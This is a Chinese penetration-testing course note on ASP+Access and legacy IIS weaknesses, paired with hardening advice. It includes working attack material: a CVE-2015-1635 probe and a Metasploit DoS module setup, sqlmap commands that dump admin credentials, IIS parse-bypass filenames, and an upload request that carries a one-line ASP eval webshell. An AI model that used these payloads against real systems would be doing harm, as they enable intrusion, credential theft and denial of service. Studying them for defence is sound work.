1. 核心概念区(Knowledge Base)
-
ASP (Active Server Pages) :微软早期的服务器端脚本技术,通常与Access数据库组合使用。在红队攻击 中,由于其架构特性和默认配置,容易导致数据库文件直接下载、文件解析漏洞等风险;在蓝队防御中,应当避免使用或进行严格的安全配置加固。
-
Access数据库 :无需连接认证的轻量级数据库,直接通过文件路径访问。在红队攻击 中,由于其文件通常存放在Web目录且无密码保护,可直接通过URL下载获取敏感数据;在蓝队防御中应禁止将数据库文件放置在Web可访问路径,并使用更安全的数据库系统替代。
-
HTTP.SYS漏洞 (CVE-2015-1635) :Windows内核HTTP协议栈远程代码执行漏洞。在红队攻击 中可导致系统蓝屏重启,用于拒绝服务攻击;在蓝队防御中需及时安装系统补丁,该漏洞影响Windows 7至Windows Server 2012。
-
IIS短文件漏洞 :IIS服务器因Windows 8.3格式短文件命名规则导致的信息泄露漏洞。在红队攻击 中可用于枚举服务器上的敏感文件和目录(仅能探测前6位字符);在蓝队防御 中可通过修改注册表禁用短文件名功能:
fsutil behavior set disable8dot3 1。 -
IIS文件解析漏洞 :IIS 6.0和部分7.x版本中存在的文件解析逻辑错误。在红队攻击 中,特定命名的文件会被IIS错误解析为可执行脚本;在蓝队防御中应升级IIS版本或应用官方补丁,配置严格的MIME类型验证。
-
Access注入 :针对Access数据库的SQL注入攻击。在红队攻击 中,与传统SQL注入不同,需要依靠字典爆破猜测表名和字段名;在蓝队防御中应对用户输入进行严格过滤,使用参数化查询方式。
-
容错页面 :应用程序对异常情况的统一处理页面。在红队攻击 中容易被误认为SQL注入点;在蓝队防御中,设计合理的错误处理机制,避免在页面中泄露技术细节,同时确保不会将用户输入直接带入数据库查询。
2. 详细知识点
2.1 ASP应用与Access数据库安全问题
2.1.1 默认搭建的安全隐患
-
架构特点:
- Access数据库无需设置连接账号密码
- 数据库路径已在脚本中硬编码
- 无需安装配置,直接放置源码即可运行
- 数据库文件通常存放于Web目录下
-
典型数据库路径:
文本
编辑
1/database/#data.mdb 2/data/pomelo206.mdb -
风险分析:攻击者可直接通过URL下载数据库文件,无需任何认证:
文本
编辑
1http://target.com/database/%23data.mdb注 :
#在URL中需编码为%23
2.1.2 数据库文件下载与利用
-
获取数据库文件:
- 通过目录扫描或路径猜测定位数据库文件
- 使用浏览器或下载工具直接下载
-
打开与分析:
- 使用Microsoft Access或第三方工具打开
- 分析表结构,特别是admin/user相关表
- 提取账号密码数据(通常为MD5/简单加密)
-
密码破解:
- 识别密码加密类型(16/32位MD5等)
- 使用在线解密平台或字典破解
- 示例:16位MD5 "e10adc3949ba59ab" 可解密为 "123456"
2.2 IIS服务器漏洞
2.2.1 HTTP.SYS漏洞 (CVE-2015-1635)
-
影响范围:Windows 7 至 Windows Server 2012
-
漏洞特性:
- 非权限获取型漏洞,主要用于拒绝服务
- 成功利用会导致系统蓝屏重启
- 无需系统登录凭证
-
检测方法:
bash
编辑
1curl -H "Range: bytes=0-18446744073709551615" http://target.com/- 返回416错误状态码表明可能存在漏洞
-
Metasploit利用:
bash
编辑
1use auxiliary/dos/http/ms15_034_ulonglongadd 2set RHOSTS 192.168.x.x 3set RPORT 80 4run警告:此攻击具有破坏性,可能导致目标系统重启,应谨慎使用
2.2.2 IIS短文件漏洞
-
漏洞原理:Windows 8.3格式短文件名规则,将长文件名转换为前6字符+~1格式
-
检测工具:
-
IIS-Shortname-Scanner (Java版) :bash
编辑
1java -jar IIS_shortname_scanner.jar http://target.com/ -
iis_shortname_scanner (Python版) :bash
编辑
1python scanner.py http://target.com/
-
-
结果解读:
文本
编辑
1[+] Directory: /PROGRA~1/ 2[+] File: WEB.CFG- 实际目录可能为"Program Files"
- 需手动猜测完整名称(前6位已知)
2.2.3 IIS文件解析漏洞
-
适用版本:主要存在于IIS 6.0,少量IIS 7.0/7.5未打补丁版本
-
漏洞类型:
- 分号后缀型 :
shell.asp;.jpg - 文件夹型 :
/shell.asp/1.jpg
- 分号后缀型 :
-
验证方法:
- 上传一个正常图片文件(如1.jpg)
- 重命名并重新上传:
1.asp;.jpg - 访问该URL,若能执行脚本代码则存在漏洞
-
利用限制:
- IIS 6.0:官方未认定为漏洞,无官方补丁
- IIS 7.0+:有官方补丁,漏洞较少见
2.3 Access注入与数据提取
2.3.1 Access注入特点
-
与MySQL注入区别:
- 不支持注释符(#, --)和多语句查询
- 无information_schema系统表
- 需通过字典爆破猜解表名和字段名
-
漏洞原理:用户输入未经过滤直接拼接到SQL查询语句中
asp
编辑
1' 漏洞代码示例 2classid = Request.QueryString("classid") 3sql = "select * from product where classid=" & classid
2.3.2 sqlmap工具使用
-
基础命令:
bash
编辑
1sqlmap -u "http://target.com/news.asp?classid=3" --dbms=ACCESS -
猜解表名:
bash
编辑
1sqlmap -u "http://target.com/news.asp?classid=3" --tables 2# 需要选择使用内置字典 -
猜解列名:
bash
编辑
1sqlmap -u "http://target.com/news.asp?classid=3" -T admin --columns -
获取数据:
bash
编辑
1sqlmap -u "http://target.com/news.asp?classid=3" -T admin -C "username,password" --dump -
注意事项:
- Access注入成功率低于MySQL
- 依赖字典质量,复杂表名可能猜不出
- 需要耐心等待字典爆破完成
2.4 后台发现与文件上传绕过
2.4.1 后台路径发现方法
-
短文件漏洞探测:
- 使用短文件工具探测前6位字符
- 常见后台目录:
/manage~1/,/admini~1/
-
目录扫描:
- 选择ASP专用字典
- 关注状态码:200(存在)、403(禁止访问)、302(重定向)
-
爬虫分析:
- 通过爬取网站链接发现隐藏路径
- 分析源码中的路径引用
- 示例:
<a href="/admin/index.asp">管理入口</a>
2.4.2 文件上传绕过技术
-
配合解析漏洞:
- 上传正常图片获取路径
- 修改文件名为解析漏洞格式
- 访问并执行Webshell
-
请求包修改示例:
文本
编辑
1POST /upload.asp HTTP/1.1 2Host: target.com 3Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 4 5------WebKitFormBoundaryABC123 6Content-Disposition: form-data; name="file"; filename="1.asp;.png" 7Content-Type: image/png 8 9<%eval request("cmd")%> 10[图片二进制数据] 11------WebKitFormBoundaryABC123-- -
路径拼接技巧:
- 观察上传后返回的路径
- 在文件名前添加路径字符:
/1.asp;.png - 利用服务器路径拼接特性触发漏洞
3. 攻防视角
3.1 攻击面
-
ASP+Access完整攻击链:
- 识别目标技术栈(ASP+Access)
- 探测并下载默认数据库路径
- 解析数据库获取管理员账号密码
- 通过短文件漏洞/目录扫描发现后台
- 登录后台管理系统
- 利用文件上传功能+解析漏洞获取Webshell
- 提权获取服务器控制权
-
IIS漏洞组合攻击:
- 识别IIS版本
- 检测HTTP.SYS漏洞(可选,用于拒绝服务)
- 利用短文件漏洞探测敏感路径
- 验证文件解析漏洞
- 构造符合规则的Webshell文件名
- 上传并访问获取服务器权限
-
Access注入攻击流程:
- 识别可能的注入点(参数、表单)
- 验证注入可能性(添加特殊字符观察错误)
- 使用sqlmap进行自动化猜解
- 优先爆破管理员相关表名(admin、user)
- 获取账号密码后尝试登录后台
- 结合其他漏洞提升权限
3.2 防御面
-
架构层面:
- 避免使用ASP+Access组合:迁移到PHP+MySQL或ASP.NET+SQL Server
- 数据库隔离:将数据库文件移出Web目录,使用专用数据库服务器
- 随机化文件名:使用复杂、随机的数据库文件名,避免默认命名
-
IIS加固:
-
及时更新补丁:特别是与HTTP.SYS、文件解析相关的安全补丁
-
禁用短文件名 :文本
编辑
1fsutil behavior set disable8dot3 1 -
MIME类型限制:只允许必要的文件类型,严格验证上传文件
-
-
输入验证:
- 参数过滤:对所有用户输入进行严格的白名单验证
- 参数化查询:避免SQL拼接,使用参数化查询方式
- WAF部署:部署Web应用防火墙,拦截常见攻击模式
-
文件上传防护:
- 双重验证:同时检查文件扩展名和内容类型
- 文件重命名:上传后重命名文件,移除特殊字符
- 目录权限:上传目录设置为不可执行
- 独立存储:上传文件存储在独立域名或服务器上
4. 避坑指南
-
HTTP.SYS漏洞使用风险:
- 该漏洞具有破坏性,会导致目标系统重启
- 在渗透测试中必须事先获得书面授权
- 可能涉及法律风险,《刑法》第286条"破坏计算机信息系统罪"
-
容错页面误判:
- 区分真伪注入点:容错页面是程序主动返回的,而注入错误是数据库查询产生的
- 验证技巧:真正的注入点会将用户输入带入数据库查询,而容错页面只是代码逻辑判断
- 案例分析:百度等大型网站的404页面是容错处理,不等于存在注入漏洞
-
ASP+Access架构陷阱:
- 多处路径引用:修改数据库文件名时,需同步更新所有引用该路径的代码文件
- 配置文件遗漏:除了主配置文件,还需检查其他可能包含路径定义的文件
- 路径编码问题:特殊字符(如#)在URL中需进行编码,否则访问会失败
-
Access注入限制:
- 字典局限性:内置字典可能无法覆盖复杂表名
- 字段名猜测:即使获得表名,字段名猜测可能失败
- 备选方案:当Access注入失败时,应尝试其他攻击路径,如文件包含、文件下载等
-
文件解析漏洞适用范围:
- IIS 6.0普遍性:几乎100%的IIS 6.0都存在此漏洞
- 现代系统罕见:IIS 7.0+已修复大部分解析漏洞
- 实际环境限制:现代Web应用很少使用IIS 6.0,ASP应用也已大量淘汰
课程重点 :本文内容主要针对老旧系统和架构,实际安全工作中ASP+Access组合已较少见。学习重点在于理解漏洞原理和攻击思路,而非具体技术细节。后续课程将重点讲解PHP、Java等主流技术栈的安全问题。